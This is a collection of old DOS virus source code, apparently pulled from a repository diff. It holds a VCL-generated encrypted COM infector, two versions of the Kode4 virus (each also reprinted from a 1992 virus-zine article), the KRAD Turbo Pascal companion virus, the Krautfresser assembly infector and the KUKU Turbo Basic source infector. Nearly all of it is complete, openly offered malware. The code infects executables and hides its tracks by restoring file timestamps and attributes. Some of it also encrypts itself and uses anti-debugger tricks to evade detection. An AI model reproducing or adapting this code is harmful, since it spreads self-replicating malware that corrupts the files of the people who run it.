lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call get_day
cmp ax,000Bh
jne end00
call get_weekday
cmp ax,0005h
jne end00
mov cx,0003h
call beep
end00: xor ah,ah ; BIOS get time function
int 01Ah
test dx,0001h
jne no_infection
call search_files
no_infection:
call get_day
cmp ax,000Bh
jne end01
call get_weekday
cmp ax,0005h
jne end01
lea si,[di + data00 - start] ; SI points to data
call display_string
end01: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root - start] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
mov dx,offset all_files ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir - start]; DX points to parent directory
int 021h
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask - start] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov ax,04301h ; DOS set file attributes function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,7 ; CX holds bytes to read (7)
lea dx,[di + buffer - start]; DX points to buffer
int 021h
push si ; Save DTA address before compare
mov byte ptr [di + set_carry - start],0 ; Assume we'll fail
lea si,[di + buffer - start]; SI points to comparison buffer
push di ; Save virus offset
lea di,[di + new_jump - start] ; DI points to virus flag
mov cx,4 ; CX holds number of bytes (4)
rep cmpsb ; Compare the first four bytes
pop di ; Restore DI
je close_it_up ; If equal then close up
mov byte ptr [di + set_carry - start],1 ; Success -- the file is OK
cwd ; Zero CX _ Zero bytes from start
mov cx,dx ; Zero DX /
mov ax,04200h ; DOS file seek function, start
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
sub ax,7 ; Prepare for JMP
mov word ptr [di + new_jump + 5 - start],ax ; Construct JMP for later
call encrypt_code ; Make an encrypted copy of ourself
mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
lea dx,[di + finish - start] ; DX points to encrypted copy
int 021h
cwd ; Zero DX _ Zero bytes from start
mov cx,dx ; Zero CX /
mov ax,04200h ; DOS file seek function, start
int 021h
mov ah,040h ; DOS write to file function
mov cx,7 ; CX holds bytes to write (7)
lea dx,[di + new_jump - start] ; DX points to the jump we made
int 021h
close_it_up: pop si ; Restore DTA address
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry - start],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 5 dup (090h),0CDh,020h ; Buffer to hold test data
new_jump db 4 dup (?),0E9h,?,? ; New jump to virus
infect_file endp
beep proc near
jcxz beep_end ; Exit if there are no beeps
mov ax,0E07h ; BIOS display char., BEL
beep_loop: int 010h ; Beep
loop beep_loop ; Beep until --CX = 0
beep_end: ret ; Return to caller
beep endp
display_string proc near
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend: ret ; Return to caller
display_string endp
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
data00 db "DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "Dedicated to the memory of"
db " Sam Kinnison 1954-1992",0
db "[Kinnison]",0
db "Nowhere Man, [NuKE] '92",0
encrypt_code proc near
push bx ; Save BX
push di ; Save DI
lea si,[di + encrypt_decrypt - start] ; SI points to encryption code
xor ah,ah ; BIOS get time function
int 01Ah
or dx,1 ; Insure we never get zero
mov word ptr [si + 5],dx ; Low word of timer is new key
alter_flag: mov al,0 ; AL holds alteration flag
inc byte ptr [di + (alter_flag + 1) - start] ; Toggle alteration flag
test al,1 ; Is bit one set?
jne check_nop ; If not then don't toggle
xor byte ptr [si],0110b ; Change all BPs in startup code
xor byte ptr [si + 4],010b ; to BXs, and vice-versa
xor byte ptr [si + 7],0110b ;
check_nop: test al,2 ; Is bit two set?
jne do_encryption ; If not then don't toggle
mov ax,word ptr [si + 7] ; AX holds INC/NOP
xchg ah,al ; Exchange position of INC and NOP
mov word ptr [si + 7],ax ; Put the word back
do_encryption: mov si,di ; SI points to start of code
lea di,[di + finish - start] ; DI points past code
mov cx,(finish - start) / 2 ; CX holds words to transfer
rep movsw ; Copy the code past the end
pop di ; Restore DI
lea si,[di + (finish + (start_of_code - start)) - start] ; SI points to code to encrypt
call encrypt_decrypt ; Encrypt the code
pop bx ; Restore BX
ret ; Return to caller
encrypt_code endp
even ; Must be on an even boundry
end_of_code label near
encrypt_decrypt proc near
mov bp,end_of_code - start_of_code - 2 ; BP holds length of code
xor_loop: db 081h,032h,00h,00h ; XOR a word with the key
dec bp ; Do the next byte
nop ; Used to throw off detectors
jne xor_loop ; Repeat until we're done
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,94 @@
;######################################################################
;# Name: Kode4 version 1.0 (overwritting stage)
;# Author: Soltan Griss [YAM]
;#
;# Description: What this sucker does is very simple. it overwrites
;# the first 46 bytes of all com files in the current
;# directory, with it's own code... as of scanv93, this
;# virus is undetectable..
;#
;#
;# Special Thanks go out to Data Disruptor.. If it were not for you i
;# would still be fucking lost!!!!
;#
;######################################################################
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
V_Length equ last-start
KODE4 proc far
start label near ;Check for Virex installiation
mov ax,0ff0fh
int 21h
cmp ax,0101h ;Abort if Virex Protection
je done ; present
mov ah,4Eh ;Find first Com file
mov dx,offset filename ;use "*.com"
int 21h
Back:
mov ah,43h ;get rid of read only
mov al,0
mov dx,9eh
int 21h
mov ah,43h
mov al,01
and cx,11111110b
int 21h
mov ax,3D01h ;Open file for writing
mov dx,9Eh ;get file name from file DTA
int 21h
mov bx,ax ;save handle in bx
mov ah,57h ;get time date
mov al,0
int 21h
push cx ;put in stack for later
push dx
mov dx,100h ;Start writing at 100h
mov cl,v_length ;write 46 bytes
mov ah,40h ;Write Data into the file
int 21h
pop dx ;Restore old dates and times
pop cx
mov ah,57h
mov al,01h
int 21h
mov ah,3Eh ;Close the file
int 21h
mov ah,4Fh ;Find Next file
int 21h
jnc Back
mov ah,9h
mov dx,offset DATA
int 21h
done: int 20h ;Terminate Program
filename db "*.c*",0
DATA db " -=+ Kode4 +=-, The one and ONLY!$"
kode4 endp
LAST label near
seg_a ends
end start
@@ -0,0 +1,185 @@
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
V_Length equ vend-vstart
KODE4 proc far
start label near
db 0E9h,00h,00h
vstart equ $
mov si,100h ;get si to point to 100
mov di,102h ;get di to point to 102
lback: inc di ;increment di
mov ax,word ptr [si] ;si is ponting to ax
cmp word ptr [di],ax ;compare ax with di loc
jne lback ;INE go back and inc di
mov ax,word ptr [si+1]
cmp ax,word ptr [di+1]
je lout
jmp lback
lout: add di,3h ;jmp stored in the end
sub di,(v_length+100h) ;+3 to get to end and -
mov si,di ;
;**********************************************************************
;*
;* The above code can be re-written as follows...
;* The above idea, although it works is very long in code....
;* when DOS does a load and execute it pushes all registers the last
;* register to be pushed contains the file length. so just subtract
;* the current location
;**********************************************************************
;
;
;
;Host_Off: pop bp
; sub bp,offset host_off
; mov si,bp
;
;*** Before opening any file copy the original three bytes back to 100h
;*** Because they will get overwritten when you check any new files
lea di,temp_buff
add di,si
mov ax,word ptr [di]
mov cl,byte ptr [di+2]
mov di,100h
mov word ptr [di],ax
mov byte ptr [di+2],cl
mov ah,4Eh ;Find first Com file
mov dx,offset filename ; offset of "*.com"
add dx,si
int 21h
jnc back
jmp done
Back:
mov ah,43h ;get rid of read only
mov al,0
mov dx,9eh
int 21h
mov ah,43h
mov al,01
and cx,11111110b
int 21h
mov ax,3D02h ;Open file for read/writing
mov dx,9Eh ;get file name from file DTA
int 21h
jnc next
jmp done
next: mov bx,ax ;save handle in bx
mov ah,57h ;get time date
mov al,0
int 21h
push cx ;put in stack for later
push dx
mov ax,4200h ; Move ptr to start of file
xor cx,cx
xor dx,dx
int 21h
mov ah,3fh ;load first 3 bytes
mov cx,3
mov dx,offset temp_buff
add dx,si
int 21h
xor cx,cx ;move file pointer to end of file
xor dx,dx
mov ax,4202h
int 21h
sub ax,3 ; Fix for real location
push ax
; nop ;
; nop ; used for debugging
; nop ;
; nop ;
; nop
mov di,offset temp_buff
add di,si
mov word ptr [j_code2+si],ax; Save two bytes in a
; word [jumpin]
cmp byte ptr [di],0e9h ;look for a jmp at begining
jne infect
mov cx,word ptr [di+1] ;check for XXX bytes at end
pop ax
sub ax,v_length
cmp ax, cx ; jump (id string to check)
jne infect
jmp finish
infect:
xor cx,cx ;move file pointer to begining
xor dx,dx ;to write jump
mov ax,4200h
int 21h
mov ah,40h ;write jump in first 3 bytes
mov cx,3
mov dx, offset j_code1
add dx,si
int 21h
xor cx,cx ;move file pointer to end of file
xor dx,dx
mov ax, 4202h
int 21h
mov dx,offset vstart
add dx,si ;Start writing at top of virus
mov cx,(vend-vstart) ; Set for length of virus
mov ah,40h ;Write Data into the file
int 21h
Finish: pop dx ;Restore old dates and times
pop cx
mov ah,57h
mov al,01h
int 21h
mov ah,3Eh ;Close the file
int 21h
mov ah,4Fh ;Find Next file
int 21h
jc done
jmp back
done:
mov bp,100h
jmp bp
filename db "*.com",0
DATA db " -=+ Kode4 +=-, The one and ONLY!$"
j_code1 db 0e9h
j_code2 db 00h,00h
temp_buff db 0cdh,020h,090h ; CD 20 NOP
kode4 endp
vend equ $
seg_a ends
end start
+100
View File
@@ -0,0 +1,100 @@
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
Article Title: Kode 4 v1 Virus
Author: Soltan Griss
;######################################################################
;# Name: Kode4 version 1.0 (overwritting stage)
;# Author: Soltan Griss [YAM]
;#
;# Description: What this sucker does is very simple. it overwrites
;# the first 46 bytes of all com files in the current
;# directory, with it's own code... as of scanv93, this
;# virus is undetectable..
;#
;#
;# Special Thanks go out to Data Disruptor.. If it were not for you i
;# would still be fucking lost!!!!
;#
;######################################################################
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
V_Length equ last-start
KODE4 proc far
start label near ;Check for Virex installiation
mov ax,0ff0fh
int 21h
cmp ax,0101h ;Abort if Virex Protection
je done ; present
mov ah,4Eh ;Find first Com file
mov dx,offset filename ;use "*.com"
int 21h
Back:
mov ah,43h ;get rid of read only
mov al,0
mov dx,9eh
int 21h
mov ah,43h
mov al,01
and cx,11111110b
int 21h
mov ax,3D01h ;Open file for writing
mov dx,9Eh ;get file name from file DTA
int 21h
mov bx,ax ;save handle in bx
mov ah,57h ;get time date
mov al,0
int 21h
push cx ;put in stack for later
push dx
mov dx,100h ;Start writing at 100h
mov cl,v_length ;write 46 bytes
mov ah,40h ;Write Data into the file
int 21h
pop dx ;Restore old dates and times
pop cx
mov ah,57h
mov al,01h
int 21h
mov ah,3Eh ;Close the file
int 21h
mov ah,4Fh ;Find Next file
int 21h
jnc Back
mov ah,9h
mov dx,offset DATA
int 21h
done: int 20h ;Terminate Program
filename db "*.c*",0
DATA db " -=+ Kode4 +=-, The one and ONLY!$"
kode4 endp
LAST label near
seg_a ends
end start
@@ -0,0 +1,191 @@
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
Article Title: Kode 4 v2 Virus
Author: Soltan Griss
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
V_Length equ vend-vstart
KODE4 proc far
start label near
db 0E9h,00h,00h
vstart equ $
mov si,100h ;get si to point to 100
mov di,102h ;get di to point to 102
lback: inc di ;increment di
mov ax,word ptr [si] ;si is ponting to ax
cmp word ptr [di],ax ;compare ax with di loc
jne lback ;INE go back and inc di
mov ax,word ptr [si+1]
cmp ax,word ptr [di+1]
je lout
jmp lback
lout: add di,3h ;jmp stored in the end
sub di,(v_length+100h) ;+3 to get to end and -
mov si,di ;
;**********************************************************************
;*
;* The above code can be re-written as follows...
;* The above idea, although it works is very long in code....
;* when DOS does a load and execute it pushes all registers the last
;* register to be pushed contains the file length. so just subtract
;* the current location
;**********************************************************************
;
;
;
;Host_Off: pop bp
; sub bp,offset host_off
; mov si,bp
;
;*** Before opening any file copy the original three bytes back to 100h
;*** Because they will get overwritten when you check any new files
lea di,temp_buff
add di,si
mov ax,word ptr [di]
mov cl,byte ptr [di+2]
mov di,100h
mov word ptr [di],ax
mov byte ptr [di+2],cl
mov ah,4Eh ;Find first Com file
mov dx,offset filename ; offset of "*.com"
add dx,si
int 21h
jnc back
jmp done
Back:
mov ah,43h ;get rid of read only
mov al,0
mov dx,9eh
int 21h
mov ah,43h
mov al,01
and cx,11111110b
int 21h
mov ax,3D02h ;Open file for read/writing
mov dx,9Eh ;get file name from file DTA
int 21h
jnc next
jmp done
next: mov bx,ax ;save handle in bx
mov ah,57h ;get time date
mov al,0
int 21h
push cx ;put in stack for later
push dx
mov ax,4200h ; Move ptr to start of file
xor cx,cx
xor dx,dx
int 21h
mov ah,3fh ;load first 3 bytes
mov cx,3
mov dx,offset temp_buff
add dx,si
int 21h
xor cx,cx ;move file pointer to end of file
xor dx,dx
mov ax,4202h
int 21h
sub ax,3 ; Fix for real location
push ax
; nop ;
; nop ; used for debugging
; nop ;
; nop ;
; nop
mov di,offset temp_buff
add di,si
mov word ptr [j_code2+si],ax; Save two bytes in a
; word [jumpin]
cmp byte ptr [di],0e9h ;look for a jmp at begining
jne infect
mov cx,word ptr [di+1] ;check for XXX bytes at end
pop ax
sub ax,v_length
cmp ax, cx ; jump (id string to check)
jne infect
jmp finish
infect:
xor cx,cx ;move file pointer to begining
xor dx,dx ;to write jump
mov ax,4200h
int 21h
mov ah,40h ;write jump in first 3 bytes
mov cx,3
mov dx, offset j_code1
add dx,si
int 21h
xor cx,cx ;move file pointer to end of file
xor dx,dx
mov ax, 4202h
int 21h
mov dx,offset vstart
add dx,si ;Start writing at top of virus
mov cx,(vend-vstart) ; Set for length of virus
mov ah,40h ;Write Data into the file
int 21h
Finish: pop dx ;Restore old dates and times
pop cx
mov ah,57h
mov al,01h
int 21h
mov ah,3Eh ;Close the file
int 21h
mov ah,4Fh ;Find Next file
int 21h
jc done
jmp back
done:
mov bp,100h
jmp bp
filename db "*.com",0
DATA db " -=+ Kode4 +=-, The one and ONLY!$"
j_code1 db 0e9h
j_code2 db 00h,00h
temp_buff db 0cdh,020h,090h ; CD 20 NOP
kode4 endp
vend equ $
seg_a ends
end start
+137
View File
@@ -0,0 +1,137 @@
Program KRAD;
{ ____ _____ _______ ______
/___/\/____/\ /______/\ /_____/\___ __/\_____
\ \| \ \___| \ | \___/ /_ ___/ BOOM! <======
\ \/___| + \| + |/ /_/\/
\______|\___________|\___________/
Virus Laboratories and Distribution
Proudly present the KRAD Virus
Written by Metabolis for non assembler ppls
Why call it the KRAD virus? Cos it is! A companion virus
written in Turbo Pascal, well that just sums it up. I wrote
this for two reasons.. 1) Not everyone knows assembler 2)
a friend reckoned a virus couldn't be programmed in Turbo
Pascal.. (by that he meant *I* couldn't do it). No matter
how lame.. it's still a virus! (Right up there with Aids/
Number 1 :)) Fully commented for non understanding Pascal
people, (a very small part of the world).
Compress this with DIET/PkLite/LZEXE or something similar
when it's compiled. Then rename it to a .COM file and hey
presto, you can run it! I guess an added bonus of this
virus is, if there's another companion virus on your system
it won't overwrite it, it will take that as an infection
and leave it alone.
KRAD virus will immediately infect C:\DOS or C:\MSDOS if
they exist, so if any DOS .EXE files are run it will infect
all the files in the current dir that you ran the DOS
command from. }
Uses Dos,Crt; {Even if I don't use one of 'em..
it's best to include both. }
{$M 59999,0,8000} {This program needs memory for two things..
1) To use as a buffer when copying the virus
2) To execute the program originally run. }
Var Inf,Inf2:Searchrec; {Used in the EXE and file_exist routines }
Infected:Boolean; {Is a file infected? }
Params:Byte; {Loop Index for adding all parameters together }
All_Params:String; {This string contains the whole list of parameters
originally passed to the program }
P:PathStr; { Used by the FSplit procedure. }
D:DirStr; { "" }
N:NameStr; { "" }
E:ExtStr; { "" }
Procedure Check_Infected(Path:String);
{Is the .EXE file we've found infected? }
Begin
FSplit(Inf.Name,D,N,E); {Split it up into directory, name
and extension. }
FindFirst(Path+N+'.COM',Anyfile,Inf2); {Look for the .COM file with the
same file name, if this exists
then the file is already infected. }
Infected:=(DosError=0); {Set the Infected flag }
End;
Procedure CopyFile(SourceFile, TargetFile:string);
{Straight Forward copying routine, I won't comment all of this.. }
var
Source,
Target : file;
BRead,
Bwrite : word;
FileBuf : array[1..2048] of char;
Begin
Assign(Source,SourceFile);
SetFattr(Source,$20); {Set the file attributes of the
hidden COM companion we're going
to be copying to archive so that
it's possible read it. }
{$I-}
Reset(Source,1);
{$I+}
If IOResult < 0 then
Begin
Exit; {Couldn't open the source file! }
End;
Assign(Target,TargetFile);
{$I-}
Rewrite(Target,1);
{$I+}
If IOResult < 0 then
Begin
Exit; {Couldn't open the target file! }
End;
Repeat
BlockRead(Source,FileBuf,SizeOf(FileBuf),BRead);
BlockWrite(Target,FileBuf,Bread,Bwrite);
Until (Bread = 0) or (Bread < BWrite);
Close(Source);
Close(Target);
SetFattr(Source,3); {Set the COM companion that we
copied back to hidden and
read-only. }
SetFattr(Target,3);
End;
Procedure FaI(Path:String);
{Find and Infect!}
Begin
FindFirst(Path+'*.EXE',AnyFile,Inf); {Check for .EXEs to infect! }
While DosError=0 Do Begin
Infected:=False;
Check_Infected(Path); { Check if the .EXE found is already infected. }
If Not Infected then Begin
CopyFile(ParamStr(0),Path+N+'.COM');
End;
{ If the file isn't infected then copy the .COM version of the
file you're executing to companionship with the .EXE you have
found that isn't infected. }
FindNext(Inf);
End;
End;
Begin
FaI('C:\DOS\'); { Find & Infect! Go for the DOS dirs first }
FaI('C:\MSDOS\'); { because this is where most EXE files will }
FaI(''); { be executed from! }
FSplit(ParamStr(0),D,N,E); { Make sure we have the path and name of the
file we actually want to execute. }
All_Params:=''; { "Remember to initialise those variables!" - Teacher }
For Params:=1 To ParamCount
do All_Params:=All_Params+ParamStr(Params)+' ';
Exec(D+N+'.EXE',All_Params); {Execute the file that the user
wanted to in the first place
keeping all original parameters. }
End.
{Easy wasn't it? I thought so.. }
This page hosted by Get your own Free Homepage
@@ -0,0 +1,110 @@
.model tiny
.code
org 100h
start_virus:
and al,21h
mov cx,100h ;for tha tbav
abc: ;
loop abc ;
;anti_disassembler
mov cx,09ebh
mov ax,0fe05h
jmp $-2
add ah,03bh
jmp $-10
;anti_debugger
mov ax,3503h ;save int 3h in bx
int 21h ;do it
mov ah,25h ;set new int 3h...
mov dx,offset new_int_3 ;...to new_int_3
int 21h ;do it
xchg bx,dx ;exchange bx,dx (restore original int 3h)
int 21h ;do it
;anti_vsafe
mov ax,0f9f2h
add ax,10h
mov dx,5935h
add dx,10h
mov bl,10h
sub bl,10h
int 16h
mov ah,5eh ;find first
sub ah,10h
mov cx,5h ;5 files to infect
push cx
jmp jojo ;go ta jojo
find_next:
push cx
mov ah,5fh ;find next
sub ah,10h
jojo:
xor cx,cx ;attribut normal
mov dx,offset star_dot_com ;*.COM
int 21h ;do it
jb ende_virus ;no more filz -> ende_virus
mov ax,3d02h ;open file
mov dx,9eh ;file name
int 21h ;do it
mov bx,ax ;move file handler in bx
mov ax,5700h ;get file time
int 21h ;do it
cmp cx,0000h ;if file time = 0 then infect it
je prepare_for_new ;else goto prepare_for_new file search
mov ah,50h ;write file (infect it)
sub ah,10h
mov cx,offset fin - offset start_virus ;virus size
mov dx,offset start_virus ;begin at start
int 21h ;do it
mov ax,5701h ;set infected file time
mov cx,0000h ;to 0000
int 21h ;do it
mov ah,3eh ;close file
int 21h ;do it
pop cx
push cx
loop find_next ;look for tha next file to infect
ende_virus:
int 20h ;-> exit
prepare_for_new: ;prepare for the next file search
mov ah,3eh ;close file
int 21h ;do it
pop cx
jmp find_next ;goto find_next file
new_int_3: ;new interrupt 3h
mov ah,9h ;write string to standard output
mov dx,offset autor ;[easyman written by spooky]
int 21h ;do it
mov ah,00h ;wait until keypressed
int 16h ;do it
int 20h ;-> terminate debugging
autor: db '[Krautfresser written by Spooky]',0dh,0ah ;copyright
db ' 1996 Austria',0dh,0ah,'$'
star_dot_com: db '*.com',0 ;filespec
fin:
end start_virus
+102
View File
@@ -0,0 +1,102 @@
$event off
defint a-z
screen 0,0,0
?"KUKU VIRUS Ver. 1.0 (Distribution module.)"
?"Copyright (C) Û IVC Û Moscow groupe.":?
color 15,4:
?"***************************************"
?"* D A N G E R !!! *"
?"* Virus for Turbo Basic source files. *"
?"***************************************":beep
color 7,0
?:?"Press any key to process ...";
while inkey$="":wend
?" process";
CALL kuku
if z=0 then ?"File infected."
if z=11 then ?" imposible (NO FILE FOR INFECTED)."
?:?"About all question call to MOSCOW GROUPE of International
?tab(45);"Viruses"
?tab(45);"Company (IVC, Inc.)
while inkey$="":wend
screen 0,1,0
sub KUKU
shared z
n$=string$(8,63)+chr$(46)+chr$(66)+chr$(65)+chr$(83):dim dta%(32),find%(32)
for a%=0% to 32%:dta%(a%)=0:next
for z=0 to len(n$)-2 step 2:find%(z/2)=asc(mid$(n$,z+2,1))*256+asc(mid$(n$,z+1,1)):next
reg 1,&h1A00:reg 8,varseg(dta%(0)):reg 4,varptr(dta%(0)):call interrupt &h21
reg 1,&h4e00:reg 3,attr:reg 8,varseg(find%(0)):reg 4,varptr(find%(0)):call interrupt &h21
if reg(1)<>0 then p$=string$(15,255):goto findfirst1
for a=0 to 32:h=dta%(a) and 255:p$=p$+chr$(h):l=(dta%(a)-h)/&h100 and 255:p$=p$+chr$(l):next
findfirst1:
dta$=p$:f$=mid$(dta$,&h1f,13):if f$=string$(len(f$),255) then z=11:exit sub
a=instr(2,f$,chr$(0)):file$=mid$(f$,1,a)
?:?"Infecting file :"file$
name file$ as chr$(128)
s1$=chr$(67)+chr$(65)+chr$(76)+chr$(76)+CHR$(32)
s2$=chr$(68)+chr$(65)+chr$(84)+chr$(65)
s$=chr$(75)+chr$(85)+chr$(75)+chr$(85)
open chr$(128) for input as#1
?"Size:"lof(1)
open file$ for output as #2
? #2,S1$S$chr$(13)chr$(10)
?"Transfer file ..."
while not eof(1):line input #1,a$:if a$="CALL KUKU" then z=10
? #2,a$:wend
if z=10 then ccq
?#2,chr$(32)
?"Move data ..."
for a=1 to 2
restore KukuData
if a=2 then ?#2,S$+s2$+chr$(58)
while QWE$<>chr$(39)
read qwe$
if a=2 then ?#2,S2$+chr$(34);
? #2,qwe$
wend
qwe$=chr$(32)
next
?#2,chr$(69)+chr$(78)+chr$(68)+chr$(32)+chr$(83)+chr$(85)+chr$(66)
?"Out size:";lof(2)
close #1,#2:kill chr$(128):
end
ccq:
?:?"File already infected ...":z=10
close:kill chr$(128)
exit sub
kukudata:
data"sub KUKU"
data"' KUKU VIRUS FOR TURBO-BASIC !!!"
data"' This virus make at UPK-2 of Sevastopolsky r-n, Moscow.
data"n$=string$(8,63)+chr$(46)+chr$(66)+chr$(65)+chr$(83):dim dta%(32),find%(32)
data"for a%=0% to 32%:dta%(a%)=0:next
data"for z=0 to len(n$)-2 step 2:find%(z/2)=asc(mid$(n$,z+2,1))*256+asc(mid$(n$,z+1,1)):next
data"reg 1,&h1A00:reg 8,varseg(dta%(0)):reg 4,varptr(dta%(0)):call interrupt &h21
data"reg 1,&h4e00:reg 3,attr:reg 8,varseg(find%(0)):reg 4,varptr(find%(0)):call interrupt &h21
data"if reg(1)<>0 then p$=string$(15,255):goto findfirstfile1
data"for a=0 to 32:h=dta%(a) and 255:p$=p$+chr$(h):l=(dta%(a)-h)/&h100 and 255:p$=p$+chr$(l):next
data"findfirstfile1:
data"dta$=p$:f$=mid$(dta$,&h1f,13):if f$=string$(len(f$),255) then
data"for J=1 to 1500:Sound Rnd(1)*(1500-j)+40,.01:NEXT:delay(2)
data"screen 1:def seg=&Hb800:for a=0 to 16384:poke a,rnd(1)*255:next:exit sub
data"end if
data"a=instr(2,f$,chr$(0)):file$=mid$(f$,1,a):name file$ as chr$(128)
data"s1$=chr$(67)+chr$(65)+chr$(76)+chr$(76)+CHR$(32):s2$=chr$(68)+chr$(65)+chr$(84)+chr$(65):s$=chr$(75)+chr$(85)+chr$(75)+chr$(85)
data"open chr$(128) for input as#1
data"open file$ for output as #2
data"? #2,S1$S$chr$(13)chr$(10)
data"while not eof(1):line input #1,a$:? #2,a$:wend
data"?#2,chr$(32)
data"for a=1 to 2:restore KukuData
data"if a=2 then ?#2,S$+s2$
data"while QWE$<>chr$(39):read qwe$:if a=2 then ?#2,S2$chr$(34);
data"? #2,qwe$+chr$(34):wend
data"qwe$=chr$(32):next
data"?#2,chr$(69)chr$(78)chr$(68)chr$(32)chr$(83)chr$(85)chr$(66)
data"close #1,#2:kill chr$(128):exit sub
data"' KUKU Virus Version 1.0
data"' (C) ÛIVCÛ Moscow groupe. 25-May-1991. Serial No.0003529
DATA"'"
end sub